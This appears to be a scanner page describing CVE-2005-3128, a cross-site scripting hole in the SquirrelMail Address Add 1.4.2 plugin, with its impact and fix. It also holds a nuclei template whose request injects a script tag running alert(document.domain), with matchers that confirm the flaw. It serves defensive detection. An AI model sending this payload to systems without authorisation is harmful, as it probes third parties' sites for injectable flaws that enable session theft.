SquirrelMail Address Add 1.4.2 - Cross-Site Scripting

mediumseverity

5.4CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

SquirrelMail Address Add 1.4.2 plugin contains a cross-site scripting vulnerability. It fails to properly sanitize user-supplied input, thus allowing an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plugins/address_add/add.php?first=HOVER%20ME!%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: status 200 AND contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2005-3128 -u <target>

The full check

id: CVE-2005-3128

info:
  name: SquirrelMail Address Add 1.4.2 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: SquirrelMail Address Add 1.4.2 plugin contains a cross-site scripting vulnerability. It fails to properly sanitize user-supplied input, thus allowing an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
  reference:
    - https://www.exploit-db.com/exploits/26305
    - https://nvd.nist.gov/vuln/detail/CVE-2005-3128
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2005-3128
    epss-score: 0.03436
    epss-percentile: 0.89065
    cwe-id: CWE-80
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2005,xss,squirrelmail,plugin,edb,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/address_add/add.php?first=HOVER%20ME!%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

References

Use this check only on systems you are authorised to test. Where the data comes from